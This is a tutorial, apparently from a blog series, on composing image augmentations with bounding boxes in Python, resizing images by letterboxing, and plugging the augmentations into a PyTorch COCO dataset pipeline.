Let's write this function. class Sequence(object): """Initialise Sequence object Apply a Sequence of transformations to the images/boxes. Parameters ---------- augemnetations : list List containing Transformation Objects in Sequence they are to be applied probs : int or list If **int**, the probability with which each of the transformation will be applied. If **list**, the length must be equal to *augmentations*. Each element of this list is the probability with which each corresponding transformation is applied Returns ------- Sequence Sequence Object """ def __init__(self, augmentations, probs = 1): self.augmentations = augmentations self.probs = probs The self.augmentations attribute stores the list of augmentations we talked about. There is also another attribute, self.probs, which holds the probabilities with which the augmentations of the corresponding instances will be applied. The __call__ function looks like. def __call__(self, images, bboxes): for i, augmentation in enumerate(self.augmentations): if type(self.probs) == list: prob = self.probs[i] else: prob = self.probs if random.random() < prob: images, bboxes = augmentation(images, bboxes) return images, bboxes Now, if we were to apply the same set of transformations as above, we will write. transforms = Sequence([RandomHorizontalFlip(1), RandomScale(0.2, diff = True), RandomRotate(10)]) img, bboxes = transforms(img, bboxes) Here are the results. Resizing to an Input Dimension While a lot of architectures these days are fully convolutional, and hence are size invariant, we often end up choosing a constant input size for sake uniformity and to facilitate putting our images into batches which help in speed gains. Therefore, we'd like to have a image transform which resizes our images to a constant size as well as our bounding boxes. We also want to maintain our aspect ratio. In the example above, the original image is of the size 800 x 505. When we have to resize a rectangular image to a square dimension keeping the aspect ratio constant, we resize the image isotropically (keeping aspect ratio constant) so that longer side is equal to the input dimension. We implement resizing the same way we resized augmentations. class Resize(object): """Resize the image in accordance to `image_letter_box` function in darknet The aspect ratio is maintained. The longer side is resized to the input size of the network, while the remaining space on the shorter side is filled with black color. **This should be the last transform** Parameters ---------- inp_dim : tuple(int) tuple containing the size to which the image will be resized. Returns ------- numpy.ndaaray Sheared image in the numpy format of shape `HxWxC` numpy.ndarray Resized bounding box co-ordinates of the format `n x 4` where n is number of bounding boxes and 4 represents `x1,y1,x2,y2` of the box """ def __init__(self, inp_dim): self.inp_dim = inp_dim Before, we build the augmentation logic, we will implement a function called letter_box image, which resizes our image so that the longer side is equal to the input dimension, and the image is centered along the the shorter side.) #create a black canvas canvas = np.full((inp_dim[1], inp_dim[0], 3), 128) #paste the image on the canvas canvas[(h-new_h)//2:(h-new_h)//2 + new_h,(w-new_w)//2:(w-new_w)//2 + new_w, :] = resized_image return canvas We finally implement the __call__ function. def __call__(self, img, bboxes): w,h = img.shape[1], img.shape[0] img = letterbox_image(img, self.inp_dim) scale = min(self.inp_dim/h, self.inp_dim/w) bboxes[:,:4] *= (scale) new_w = scale*w new_h = scale*h inp_dim = self.inp_dim del_h = (inp_dim - new_h)/2 del_w = (inp_dim - new_w)/2 add_matrix = np.array([[del_w, del_h, del_w, del_h]]).astype(int) bboxes[:,:4] += add_matrix img = img.astype(np.uint8) return img, bboxes Building an Input Pipeline for the COCO Dataset Now, that we have our augmentations done, and also a way to combine these augmentations, we can actually think about designing an input pipeline that serves us images and annotations from the COCO dataset, with augmentations applied on the fly. Offline Augmentation vs Online Augmentation In deep networks, augmentation may be done using two ways. Offline augmentation and online augmentation. In offline augmentation, we augment our dataset, create new augmented data and store it on the disk. This can help us multiply our train example by as many times as we want. Since, we have variety of augmentations, applying them stochastically can help us increase our training data many folds before we start to be repetitive. However, there is one drawback to this method that it isn't as suitable when the size of our data is too big. Consider a training dataset that occupies 50 GB of memory. Augmenting it once alone would make the size go up to 100 GB. This might not be a problem if you have sample disk space, and preferably a SSD or a high-RPM hard disk. In online augmentations, augmentations are applied just before the images are fed to the neural network. This has a couple of benifits over our previous approach. - No space requirements, since the augmentations are done on the fly and we don't need to save augmented training examples. - We are getting the noisier versions of the same image every time the image is fed to the neural network. It's well known that minor noise can help neural networks generalise better. Every time a neural network sees the same image, it's a bit different due to the augmentation applied on it. This difference can be thought of as noise, which helps our network generalise better. - We get a different augmented dataset each epoch without having to store any extra images. CPU or GPU? On a side note, from a computationally point of view, one might wonder whether the CPU or the GPU should be doing the online augmentations during the training loop. The answer is most likely the CPU. CUDA calls are asynchronous in nature. In simple words, it means that the control of execution returns to the CPU right after the GPU commands (CUDA) are invoked. Let's break it down how it happens. 1) The CPU keeps reading the code, where it finally reaches a point where it has to invoke the GPU. For example, in PyTorch, the command net = net.cuda() signals to the GPU that variable net needs to be put on the GPU. Any computation made using net now is carried out by the GPU. 2) The CPU makes a CUDA call. This call is asynchronous. This means that the CPU doesn't wait for task specified by the call to be completed by the GPU. The control of execution is immediately returned to CPU and the CPU can start executing the lines of code that follow, while the GPU can do it's thing in the background. This means that the GPU can carry out the computations in background / parallel now. Modern deep learning libraries make sure that the calls are properly scheduled to ensure our code works properly. However, this feature is often exploited by deep learning libraries to speed up training. While the GPU is busy executing the forward and the backward passes for the current epoch, the data for the next epoch can be read from the disk and loaded into the RAM in the meantime by the CPU. So coming back to our question, should the online augmentations be done by the CPU or the GPU? The reason they should be done by the CPU is because then the augmentations for the next epoch can happen in parallel on the CPU while GPU is busy executing the forward and the backward pass of the current epoch. If we put the augmentations on the GPU, then the GPU will have to wait for the CPU to read the images from the disk and send them over. This waiting state can decrease speed of training. Another thing to notice is that the CPU may be sitting idle (given that it has already read the data from the disk) while the GPU is doing the crunching (augmentation + forward/backward passes). Setting up the COCO Dataset In order to show you how you should use the augmentations we just implemented, we take the example of COCO dataset. We are going to use the pytorch and torchvision package for demonstration purposes. I'd try to keep it as general as possible so you can also make it work with other libraries or your own custom code. Now, in PyTorch, data pipelines are built using the torch.utils.dataset class. This class basically contains two important functions. __init__function described the details of dataset. This includes the directories where the images and the annotations are stored etc. __len__returns the number of training examples __getitem__returns an individual training example (and perhaps, it's label). Out of these three, the __getitem__ functions is our interest here. We will do the image augmentations here. Generally, you should look at the place in your code base where you are reading the images and annotations off the disk. This should be the point where you should insert you augmentation code. This makes sure augmentation is different for every image, even the ones in a single batch. The following piece of code is normally serves examples from the COCO training dataset. Let's assume train2017 is the folder containing the images, and annots.json is the file containing the annotations json file. The reason I'm not going into depth about how to download the COCO dataset is because this is just a demonstration of how you can modify an existing input pipeline to incorporate augmentations and not an exhaustive guide to set up a COCO input pipeline In fact, the dataset in about 19.3 GB in size, so you might not want to download it. from torchvision.datasets import CocoDetection coco_dataset = CocoDetection(root = "train2017", annFile = "annots.json") for image, annotation in coco_dataset: # forward / backward pass Now, in order to add image augmentations, we need to locate the code responsible for reading the images and annotations off the disk. That work is done by the __getitem__ function of the CocoDetection class in our case. We can go to torchvision's source code and modify CocoDetection, but tinkering with inbuilt functionality is not a good idea. So, we define a new class which is derived from the CocoDetection class. Let us go over what exactly is happening here. In our new class, we introduce the attribute det_transforms which will be used to hold the augmentation being applied to the image and the bounding box. Note we also have attributes transforms and target_transforms which are used to apply torchvision's inbuilt data augmentations. However, those augmentations are only built for classification tasks and don't have support to augment bounding boxes too. Then, in the __getitem__ method, we first obtain the image, and the annotation bboxes returned by the __getitem__ of the parent class. As we had mentioned in the Part 1 of the series, the annotations must be in a specified format for the augmentations to work. We define the function transform_annotation to do that. The bounding box annotations for objects in an image returned by the CocoDetection's __getitem__ method is in form a list, which contains a dictionary for each bounding box. The bounding box attributes are defined by the elements of the dictionary. Each bounding box is defined by it's top-left corner, height and width. We must change it to our format, where each bounding box is defined by the top-left and the bottom-right corner. Then, simply apply the augmentations, and now we are served augmented images. Summing up the entire code, from torchvision.datasets import CocoDetection import numpy as np import matplotlib.pyplot as plt det_tran = Sequence([RandomHorizontalFlip(1), RandomScale(0.4, diff = True), RandomRotate(10)]) coco_dataset = CocoDetection(root = "train2017", annFile = "annots.json", det_transforms = det_tran) for image, annotation in coco_dataset: # forward / backward pass Conclusion This concludes our series on image augmentation for object detection tasks. Image augmentation is one of the most powerful yet conceptually simple technique to battle overfitting in deep neural networks. As our networks get more complex, we need more data to get good convergence rates and augmentation is certainly a way to go ahead if data availability is a bottleneck. I imagine in the next few years, we would see more complex forms of data augmentation, such as augmentations being done by Generative networks, and smart augmentations where the augmentations are done so as to produce more examples of the sort on which a network struggles. In the meantime, our little library defines more augmentations as well. A detailed summary of them can be found by opening the index.html file in the docs folder. We haven't covered all the augmentations in our series. For example, augmentations pertaining the HSV (hue, saturation and brightness) aren't covered as they don't require augmenting bounding boxes. You can now go ahead and even define some of your own augmentations. For example we didn't implement Vertical Flip, because it doesn't make sense to train the classifier on inverted images. However, if our dataset consists of Satellite imagery, vertical flip simply swaps directional orientation of objects and might make sense. Happy Hacking! P.S. The documentation for this project has been generated using Sphynx. In case you implement new augmentations and want to generate docstrings, use the Numpy convention to docstrings. The Sphynx files for the project are located in the docs/source folder.
https://blog.paperspace.com/data-augmentation-for-object-detection-building-input-pipelines/
CC-MAIN-2019-47
refinedweb
2,514
55.74
By Gary simon - Oct 28, 2017 The following tutorial is a part of our 100% free course: Developing Ethereum Smart Contracts for Beginners In the previous lesson, we learned how to create Events. In this video, we're going to learn how to work with something as equally as important, which are function modifiers. A modifier allows you to control the behavior of your smart contract functions. It includes a variety of use cases, such as restricting who has the ability to run a given function, unlocking functions at a certain time frame, etc.. In our case, we will create a modifier that allows only the contract owner to run a given function. In the context of our project, this will mean only allowing the contract owner to access the setInstructor() function. Let's get started.. Be sure to Subscribe to the Official Coursetro Youtube Channel for more videos. This tutorial is based on a course, where we have been working on a smart contract from previous lessons. If you're hopping in out of the blue, this is the smart contract that you should copy and paste into the Remix IDE: pragma solidity ^0.4.18; contract Coursetro { string fName; uint age; event Instructor( string name, uint age ); function setInstructor(string _fName, uint _age) public { fName = _fName; age = _age; Instructor(_fName, _age); } function getInstructor() view public returns (string, uint) { return (fName, age); } } Function modifiers in smart contracts can be used for a variety of purposes. For our purpose, we're going to create a modifier that will only allow the owner of the contract to set the instructor name and age through the setInstructor() function. To do this, we first have to define a new variable as a type of address: contract Coursetro { string fName; uint age; address owner; // Add this // Other stuff removed for brevity Next, we have to call the constructor method in order to set the owner variable to the address that created the contract. The constructor function is called only once, which is when the contract is first created: contract Coursetro { string fName; uint age; address owner; function Coursetro() public { // Add this constructor owner = msg.sender; } Great, now that we know owner contains the contract creator's address, let's create a modifier beneath the constructor: modifier onlyOwner { require(msg.sender == owner); _; } So, to create a modifier, you first start by stating modifier and the name of the modifier. In our case, it will be onlyOwner which can be used multiple times as a modifier depending on your needs. Note: Modifiers can also receive arguments, ie: modifier name(arg1) Inside of our modifier, we're saying require() which is a way of saying, "if the condition is not true, throw an exception". If the condition is true, _; on the line beneath is where the function body is placed. In other words, the function will be executed. We've created a modifier, now what? Well, we can use it in any function where we only want the smart contract creator to have access. Let's add it to the setInstructor() function: function setInstructor(string _fName, uint _age) onlyOwner public { fName = _fName; age = _age; Instructor(_fName, _age); } Notice onlyOwner is specified just after the arguments of the function. That's all it takes! If you want to give it a go in the Remix IDE, click the Create button to create the contract. Then, specify "Gary", 44 in the setInstructor function textfield on the right of the IDE and click on the function name to set it. It should work, and to verify, click getInstructor. Now, try changing the Account dropdown at the top to a different account than the one used to create the smart contract and repeat the process above. You'll notice it won't work this time, the debugger will throw an error. We have been creating a Web3 UI to interact with our smart contract. If you're just hopping in during this 5th lesson, you can take this course for free and have access to the project files which contains our coding up to this point. Before we continue, being that we've updated the smart contract and recreated it in Remix, we need to grab the ABI from Compile -> Details and paste it into the web3.eth.contract() method in our project, as well as copying the smart contract address and pasting it into the CoursetroContract.at('') method. After updating the project, you can load up index.html in the browser and assuming web3.eth.accounts[0] is being used for the defaultAccount, the UI should let you update the instructor name and age, being that you're using the owners account. If you try changing the defaultAccount to web3.eth.accounts[2] for instance, you will see it won't let you update the account. In fact, the rotating spinner will spin forever. Ugh, that's not what we want. If you look at the inspector in Chrome, you will find a big red error. We need to adjust our Coursetro.setInstructor function in the JavaScript to provide for a better experience: // Previous code Coursetro.setInstructor($("#name").val(), $("#age").val() // Change ^-that to this: Coursetro.setInstructor($("#name").val(), $("#age").val(), (err, res) => { if (err) { $("#loader").hide(); console.log('oh no'); } }); As you can see, we're passing in a callback function, which Web3 providers, and we're checking if an error err was returned, then to hide the loader graphic and console log 'oh no'. Typically, you would do something other than console log, but you get the point. Refresh the page and give it a shot now with the incorrect account. It will show the oh no log, but it won't leave the spinner sitting. Wow, we've progressed quite a bit so far in this course! By now, you should have a pretty good understanding of most of the basic concepts associated with Ethereum smart contract development. We're not done yet, in fact, we have quite a bit more to learn.
https://coursetro.com/posts/code/101/Solidity-Modifier-Tutorial---Control-Functions-with-Modifiers
CC-MAIN-2018-51
refinedweb
1,008
69.82
$ tclsh % package require tcap % tcap help tcap - Tcl pcap(3) interface options: list list all available devices. open dev promisc snaplen opens a new packet capture interface. dloff returns the datalink offset in byes. filter bpg_program sets a bpf(3) filter on the pcap interface. get returns the next packet as a list of bytes. close closes the capture interface.3. more? see test.tcl for some info on how to use tcapa minimal sniffer in Tcl using tcap: #!/usr/bin/env tclsh package require tcap tcap open fxp0 0 1500 set dl [tcap dloff] tcap filter "tcp" while {1} { set g [tcap get] if {[llength [split $g]] > 0} { puts [lrange $g $dl end] } } tcap closeTcap was built and tested on BSD UNIX and MacOS X, and should work on Linux. Testing on Windows is incomplete.Tcap uses a couple of routines from Dug Song's dsniff utility to streamline the pcap interface. As a result, tcap open lets you call an interface or a file for parsing.The tcap command is global, so use Tcl namespaces to have more than one sniffer active.The pcap_inject() command is not implemented. For writing packets in Tcl look up Clif Flynt's Packet Master library (a Tcl interface to libdnet). Very useful when combined with tcap. URL: [baski] - 2010-02-19 21:52:02Hi Jose,I compiled your tcap tool in linux fedora core but 'tcap get' always returns two hex chars are the output. thanks..baski
http://wiki.tcl.tk/13515
CC-MAIN-2015-27
refinedweb
245
73.88
This section demonstrates you how the deletion of file fails. Description of code: Sometimes you got an error that file deletion fails. There may be some reasons for this like the file you want to delete, does not exist or the file is already locked, or it is being used by another application. So before going to delete a file, check whether the file exists or not. If you make sure that file exists and again if deletion fails then it means that there is some handle open for the file or is being used by another program. So you need to close all the handles and then call the method delete(). In the give example, we have thrown an error by specifying wrong path. It has displayed 'File Deletion Fails'. Here is the code: import java.io.*; public class FileDeleteFails { public static void main(String[] args) { File f = new File("C:/java/data.txt"); boolean isDelete = f.delete(); if (isDelete) { System.out.println("File is deleted"); } else { System.out.println("File Deletion Fails"); } } }
http://www.roseindia.net/tutorial/java/core/files/filedeletefails.html
CC-MAIN-2014-10
refinedweb
174
76.72
How Visual Studio 2010 Ultimate edition helps in team productivity? In this article , I have demonstrated how Visual Studio 2010 Ultimate edition helps in team productivity? I have also included two major features of visual studio 2010 ultimate edition i.e. architecture explorer and sequence diagrams. I hope this article will help you. How Visual Studio 2010 Ultimate edition helps in team productivity? Introduction: Project must have the starting point which can be given by Visual Studio 2010 Ultimate edition. Most projects have their own code bases which can be used for further enhancement of projects. Visual Studio 2010 Ultimate edition gives you new architecture tools which decrease the cost of maintainance. It improves the project development because it gives the flow of information. Involvement of UML part: Visual Studio 2010 has feature of Sequence diagrams: Developer needs to understand the sequence of calls to the method so that they make relevant changes accordingly. The sequence diagramallows developers to right click a method to generate a full sequence diagram which shows all different classes that the methods are interacting with. Other advantage: The new architecture tool also helps to minimize the lack of system documentation in the first place. Visual Studio 2010 Ultimate edition and TFS together provide the design experience that can be tied with the documentation. User can get exact idea from design to documentation. Visual Studio 2010 has UML 2.1 compliant modeling too. Use case diagrams: User , process and their activities together gives visualization of the system. Visual Studio 2010 gives ability to link with one or more work items. Visual Studio 2010 gives the clear picture to new developers about the system they are working on. It reduces the time required to find the impact on the system if any change will make in the system. Visual Studio 2010 has feature of architecture explorer Architecture explorer which is a solution for most of the problem in traditional approach. It determines what the application looks like from any of the levels. Level can be method level , class level, namespace level, assembly level or any solution level. It also gives dependency view which will help you to determine which items are connected with each other and which one is changing by you. Developer can view the relationships and can analyze the modification impact which reduces the risk of the change. This way developer can focus more time on project development and less time on fixing the existing issues if any. Findnig this post solves a problem for me. Thanks!
http://www.dotnetspider.com/resources/43765-How-Visual-Studio-Ultimate-edition-helps.aspx
CC-MAIN-2017-43
refinedweb
422
56.25
Camray AustinPro Student 725 Points Need help on letter refinement My code is counting my correct guesses as strikes. Also its not showing the letter I already guessed. Frank GenovaPython Web Development Techdegree Student 12,700 Points Hi Camray, Can you repost/edit it based on the tips in Markdown Cheatsheet so that it will automatically format like it appears in text editors? 3 Answers Camray AustinPro Student 725 Points I don't know how to do that. I was trying to figure out how to post attach my code to my comment, but it only lets me cut and paste it. Randy Eichelberger1,491 Points Click the markdown cheatsheet link that is right below the comment field here Camray AustinPro Student 725 Points Camray AustinPro Student 725 Points import random import os import sys make a list of words words = [ 'pizza', 'chicken', 'rice', 'pancakes', 'lemon', 'melon', 'bacon', 'apples', 'ham', 'cheese', 'hamburgurs', 'grit' ] def clear(): if os.name == 'int': os.system('cls') else: os.system('clear') def draw(bad_guesses, good_guesses, secret_word): clear() def get_guess(bad_guesses, good_guesses): while True: guess = input("Guess a letter: ").lower() def play(done): clear() secret_word = random.choice(words) bad_guesses =[] good_guesses =[] def welcome(): start = input("Press enter/return to staet or Q to quit ").lower if start == 'q': print("Bye!") sys.exit else: return True print("Lets begain!") print("Welcome to letter Guess!") done= False while True: clear)() welcome() play(done
https://teamtreehouse.com/community/need-help-on-letter-refinement
CC-MAIN-2019-39
refinedweb
234
65.62
Odoo Help Odoo is the world's easiest all-in-one management software. It includes hundreds of business apps: CRM | e-Commerce | Accounting | Inventory | PoS | Project management | MRP | etc. How to made default state as To Submit while creating Leave Request? I used defaults attribute and made state field value as 'draft' and once I saved the form its going to To Approve state Help me out to resolve this Thanks in Advance Just override the create method of your model, like: from openerp import api, models class leave(models.Model) _inherit = "module.model_leave" @api.model @api.returns('self', lambda value: value.id) def create(self, vals): vals['state'] = 'approve' return super(leave, self).create(vals) In Create method state value coming as 'draft' only but once saved the form its going to confirm state The create method get executed when the record is about to be saved, so you will get displayed the record in the form as draft using your defaults and when the user clic save the state field will became approve in the create method. Due to workflows defined for the object create state value is not effecting About This Community Odoo Training Center Access to our E-learning platform and experience all Odoo Apps through learning videos, exercises and Quizz.Test it now
https://www.odoo.com/forum/help-1/question/how-to-made-default-state-as-to-submit-while-creating-leave-request-92260
CC-MAIN-2017-13
refinedweb
218
59.64
Add a helper to untag a user pointer. This is needed for ADI supportin get_user_pages_fast.Signed-off-by: Christoph Hellwig <hch@lst.de>--- arch/sparc/include/asm/pgtable_64.h | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+)diff --git a/arch/sparc/include/asm/pgtable_64.h b/arch/sparc/include/asm/pgtable_64.hindex dcf970e82262..a93eca29e85a 100644--- a/arch/sparc/include/asm/pgtable_64.h+++ b/arch/sparc/include/asm/pgtable_64.h@@ -1076,6 +1076,28 @@ static inline int io_remap_pfn_range(struct vm_area_struct *vma, } #define io_remap_pfn_range io_remap_pfn_range +static inline unsigned long untagged_addr(unsigned long start)+{+ if (adi_capable()) {+ long addr = start;++ /* If userspace has passed a versioned address, kernel+ * will not find it in the VMAs since it does not store+ * the version tags in the list of VMAs. Storing version+ * tags in list of VMAs is impractical since they can be+ * changed any time from userspace without dropping into+ * kernel. Any address search in VMAs will be done with+ * non-versioned addresses. Ensure the ADI version bits+ * are dropped here by sign extending the last bit before+ * ADI bits. IOMMU does not implement version tags.+ */+ return (addr << (long)adi_nbits()) >> (long)adi_nbits();+ }++ return start;+}+#define untagged_addr untagged_addr+ #include <asm/tlbflush.h> #include <asm-generic/pgtable.h> -- 2.20.1
https://lkml.org/lkml/2019/6/1/23
CC-MAIN-2019-47
refinedweb
203
67.04
Investment Basics - Course 103 - Investing for the Long Run This is the third Course in a series of 38 called "Investment Basics" - created by Professor Steven Bauer, a retired university professor and still a proactive asset manager and consultant / mentor. Course 103 - Investing for the Long Run Introduction In the last lesson, we noticed that the difference of only a few percentage points in investment returns or interest rates can have a huge impact on your future wealth. Therefore, in the long run, the rewards of investing in stocks can outweigh the risks. We'll examine this risk/reward dynamic in this lesson. Volatility of Single Stocks Individual stocks tend to have highly volatile prices, and the returns you might receive on any single stock may vary wildly. If you invest in the right stock, you could make bundles of money. For instance, Eaton Vance (EV), an investment-management company, had one of the best-performing stock for the last 25+ years. If you had invested $10,000 in 1979 in Eaton Vance, assuming you had reinvested all dividends, your investment would have been worth $10.6 million by December 2007. On the downside, since the returns on stock investments are not guaranteed, you risk losing everything on any given investment. There are hundreds of recent examples of dot-com investments that went bankrupt or are trading for a fraction of their former highs. Even established, well-known companies such as Enron, WorldCom, and Kmart filed for bankruptcy, and investors in these companies lost everything. Prof's. Guidance: That's why you are taking this course. There are financial advisors who can identify the winners and there are those who just - can't and don't. You should focus on learning how to understand, when a salesperson or mutual funds says: I can manage your money - - Will you have the right questions to ask or just believe them? In the last decade the later has been very expensive!. In 1965, you could have purchased General Motors GM stock for $50 per share (split adjusted). In the following decades, though, this investment has only spun its wheels. ByJune 2008, your shares of General Motors would be worth only about $10 each. Though dividends would have provided some ease to the pain, General Motors' return has been terrible. You would have been better off if you had invested your money in a bank savings account instead of General Motors stock. Clearly, if you put all of your eggs in a single basket, (diversification) the basket may fail, breaking all the eggs. Other times, that basket will hold the equivalent of a winning lottery ticket. Prof's. Guidance: So, it is really up to you, not the financial salesperson or mutual fund. Don't be "DEPENDANT" - learn how to find the people you can trust and work with them as a team.. Bear Markets and Market Dips are sometimes significant. Prof's. Guidance: By studying and simple paying attention to these on going fluctuations - much of the downside can be avoided. For example, consider the Dow Jones Industrials Index, a basket of 30 of the most popular, and some of the best, companies in America. If during the last 100 years you had held an investment tracking the Dow, there would have been. But don't worry; there is a bright side to this story. Stocks Are Still Best Investment Despite all the short-term risks and volatility, stocks as a group have had the highest long-term returns of any investment type. This is an incredibly important fact! So after the stock market has crashed, the market has always rebounded and gone on to new highs. Stocks have outperformed bonds on a total real return (after inflation) basis, on average. This holds true even after market peaks. Prof's. Guidance: As the song goes: Pick yourself up, dust yourself off and start all over again. That's only after continuing to study. first learning and second. Prof's. Guidance: There are many strategies for investing. Some of them - simple don't work and others do very, very well. Time Is on Your Side Just as compound interest can dramatically grow your wealth over time, the longer you invest in stocks, the better off you will be. With time, your chances of making money increase, and the volatility of your returns decreases. The average annual return for the S&P 500 stock index for a single year has ranged from negative 39% to positive 61%, while averaging 13.2%. After holding stocks for five years, average annualized returns have ranged from negative 4% to positive 30%, while averaging 11.9%. or continuing in stocks.? Quite simply, stocks allow investors to own companies that have the ability to create enormous economic value. Stock investors have full exposure to this upside. For instance, in 1985, would you have rather lent stocks make an attractive investment in the long run, stock returns are not guaranteed and tend to be volatile in the short term. Therefore, I do not recommend that you invest in stocks to achieve your short-term goals. To be effective, you should invest in stocks only to meet long-term objectives that are at least five years away. (After say - two to five years start enjoying (spending) some of those profits. And the longer you invest, the greater your chances of achieving the types of returns that make investing in stocks worthwhile. Quiz 103 There is only one correct answer to each question. - The average yearly difference between the high and low of the typical stock is between: - 30% and 50%. - 10% and 30%. - 50% and 70%. - If you were saving to buy a car in three years, what percentage of your savings for the car should you invest in the stock market? - 50%. - 70%. - 0%. - If you were investing for your retirement, which is more than 10 years away, based on historical returns in the 20th century, what percentage of the time would you have been better off by investing only in stocks versus a combination of stocks, bonds, and cash? - 50%. - 100%. - 0%. - Well known stocks like General Motors: - Always outperform the stock market. - Are too highly priced for the average investor. - Can underperform the stock market. - Which of the following is true? - After adjusting for inflation, bonds outperform stocks. - When you invest in stocks, you will earn 12% interest on your money. - Stock investments should be part of your long-term investment portfolio.
http://www.safehaven.com/article/18199/investment-basics-course-103-investing-for-the-long-run
CC-MAIN-2014-15
refinedweb
1,083
63.49
There is a clear difference between face recognition and detection: the former is the process of identifying the human face, while the latter is if you are given an input image as well as a name or ID of a person and the job of the system is to verify whether the input image is that of the claimed person. Face verification/recognition is sometimes called a one to one problem, where you just want to know if the person is the person they claim to be, which is much harder than the detection problem. There you don’t care about the identity of the face but rather the presence of the face. One shot learning One of the challenges of face recognition is that you need to solve the one-shot learning problem. The problem here is that you need to be able to recognize a person given just one single image of that person's face. Historically, deep learning algorithms did not work well, if you have only one training example, because - how will the training occur in the absence of data, but in the one shot learning problem, you have to learn from just one example to recognize the person again. Moreover, you need this in most face recognition systems because you might have only one picture. One way to do this is to input the image of the person to a convolutional net. And the output of the softmax layer will detect whether this image matches one of those in the learning database or not and by how much, remember the softmax gives percentage of the output correct match with one of the categories or classes the network was trained onto. However, if we want to add a new person to the team, we will have to redesign our network to have on more output neuron in the softmax layer. Now, what if this is a company’s verification system and we want to add 100 people, may be 1000, what will happen now? Do you have to retrain the ConvNet every time? Here comes one-shot learning. In short, it is a technique to train the network on only one image of the input and getting good results whenever this person’s face is put to test. So, what are we going to do here actually? We are going to train the network to learn a similarity function, a function that takes two images and outputs the degree of difference between the two images. If the two images are of the same person, you want this to output a small number. If the two images are of two very different people you want it to output a large number. During recognition time, if the degree of difference between them is less than some threshold called tau, which is a hyper-parameter, then it should predict that these two pictures are the same person. If it is greater than tau, it should predict that these are different persons. To use this for a recognition task, what you do is, given this new picture, you will use this function d to compare these two images. Maybe it will give a very large number, let's say 10, then compare this with the second image in the database. Because these two are the same person, it will output a very small number; you do this for the other images in your database and so on. We need to define another very important term here: triplet loss Triplet loss As long as it (the ConvNet) can learn this function that inputs a pair of images and tells you if they're the same person or different persons. How you can actually train the neural network to learn this function d. Let’s say we have to images, I1 &I2. What happens usually in a ConvNet is a convolution layer followed by a maxpooling layer that encodes something called the feature vector in an image. Now, the same happens here but in a much deeper layer in the network where each image of those is encoded into a feature vector by 2 networks that have the same parameters and they will be compared for similarity. The distance will be the norm of the difference between the encoding of the two images. That is called a Siamese network, “detecting same images” So how do you train this Siamese neural network? Remember that these two neural networks have the same parameters. What you want to do is really train the neural network, so that the encoding that it computes results in a function d that tells you when two pictures are of the same person. More formally, the parameters of the neural network define an encoding of the image. So given any input image I, the neural network outputs this 128 dimensional encoding of I. What we want to do is learn parameters so that if two pictures I and J, are of the same person, then you want that distance between their encodings to be small. In contrast, if I and J are of different persons, then you want that distance between their encodings to be large. As you vary the parameters in all of these layers of the neural network, you end up with different encodings, you can use back propagation and vary all those parameters in order to make sure these conditions are satisfied. To apply the triplet loss, you need to compare pairs of images. For example, given this pair of images, you want their encodings to be similar because these are the same person. Whereas, given this pair of images, you want their encodings to be quite different because these are different persons. In the terminology of the triplet loss, what you are going do is always look at one anchor image and then you want to minimize distance between the anchor and the positive image. Whereas, you want the anchor when compared to the negative example for their distances to be much further apart. So, here comes the term “triplet loss”, which is that you'll always be looking at three images at a time. Now, let’s abbreviate them to A, P, and N for anchor positive and negative. You want the encoding between the anchor minus the encoding of the positive example to be small and in particular, you want this to be less than or equal to the distance of the squared norm between the encoding of the anchor and the encoding of the negative, where of course, this is d of A, P and this is d of A, N. And you can think of d as a distance function. The neural network doesn't care how much further negative it is. But in order to define this dataset of triplets, you do need some pairs of A and P. Pairs of pictures of the same person. So the purpose of training your system, you do need a dataset where you have multiple pictures of the same person. If you had just one picture of each person, then you can't actually train this system, but of course after having trained the system, you can then apply it to your one shot learning problem where. Now, how do you actually choose these triplets to form your training set? To construct a training set, what you want to do is to choose triplets A, P, and N that are hard to train on. A triplet that is hard will be if you choose values for A, P, and N so that maybe d(A, P) is actually quite close to d(A,N). So in that case, the learning algorithm has to try extra hard to take this thing on the right and try to push it up or take this thing on the left and try to push it down so that there is at least a margin of alpha between the left side and the right side. And the effect of choosing these triplets is that it increases the computational efficiency of your learning algorithm. Fortunately, many of the famous tech companies have trained these large networks and posted parameters online. So, rather than trying to train one of these networks from scratch, this is one domain where because of the share data volume sizes, this is one domain where often it might be useful for you to download someone else's pre-train model, rather than do everything from scratch yourself. The triplet loss implementation will be something like that: def triplet_loss(y_true, y_pred, alpha = 0.2): anchor, positive, negative = y_pred[0], y_pred[1], y_pred[2] # Compute the (encoding) distance between the anchor and the positive pos_dist = tf.reduce_sum(tf.square(tf.subtract(anchor, positive)), axis = None) # Compute the (encoding) distance between the anchor and the negative neg_dist = tf.reduce_sum(tf.square(tf.subtract(anchor, negative)), axis=None) # Subtract the two previous distances and add alpha. basic_loss = pos_dist - neg_dist + alpha # Take the maximum of basic_loss and 0.0. Sum over the training examples. loss = tf.reduce_sum(tf.maximum(basic_loss, 0)) return loss And many of the ideas here came from a paper by Yaniv Taigman, Ming Yang, Marc'Aurelio Ranzato, and Lior Wolf in a system that they developed called DeepFace. Do you have any comments to the blog article? Just log in or register and leave a comment here. Report comment
https://imaginghub.com/blog/32-face-detection-recognition-with-one-shot-learning-and-triplet-loss
CC-MAIN-2019-13
refinedweb
1,572
65.25
Agenda See also: IRC log <ShaneM> omw <Steven> <yamx> Sorry, late. I will call in. <oedipus> <oedipus> associated issue: <ShaneM> <ShaneM> is all the issues <Steven> <oedipus> HTML5 Diff From HTML4 WG Note: <Steven> The word "XHTML" doesn't appear in their charter <oedipus> "The HTML 5 language has a "custom" HTML syntax that is compatible with HTML 4 and XHTML1 documents published on the Web, but is not compatible with the more esoteric SGML features of HTML 4, such as <em/content/. Documents using this "custom" syntax must be served with the text/html MIME type" <oedipus> The other syntax that can be used for HTML 5 is XML. This syntax is compatible with XHTML1 documents and implementations. Documents using this syntax need to be served with an XML MIME type and elements need to be put in the namespace following the rules set forth by the XML specifications. [XML] <oedipus> Below is an example document that conforms to the XML syntax of HTML 5. Note that XML documents must have an XML MIME type such as application/xhtml+xml or application/xml. <yamx> I am wondering... hmmm.. <yamx> Their notification is not productive... <Steven_> "XHTML� 1.1 - Module-based XHTML (REC) - track errata, publish third edition as required" <oedipus> "This specification is intended to replace XHTML 1.0 as the normative definition of the XML serialisation of the HTML vocabulary. [XHTML10]" <ShaneM> I believe our charter is clear - we are responsible for maintaining and evolving XHTML 1 and XHTML 2. The HTML Working Group's charter does not mention XHTML at all. <yamx> I agree with Shane. <Steven_> Scribe: Steven_ <oedipus> HTML WG charter states: "An extensible, serialized form of such a language, using XML" <oedipus> ." Roland: 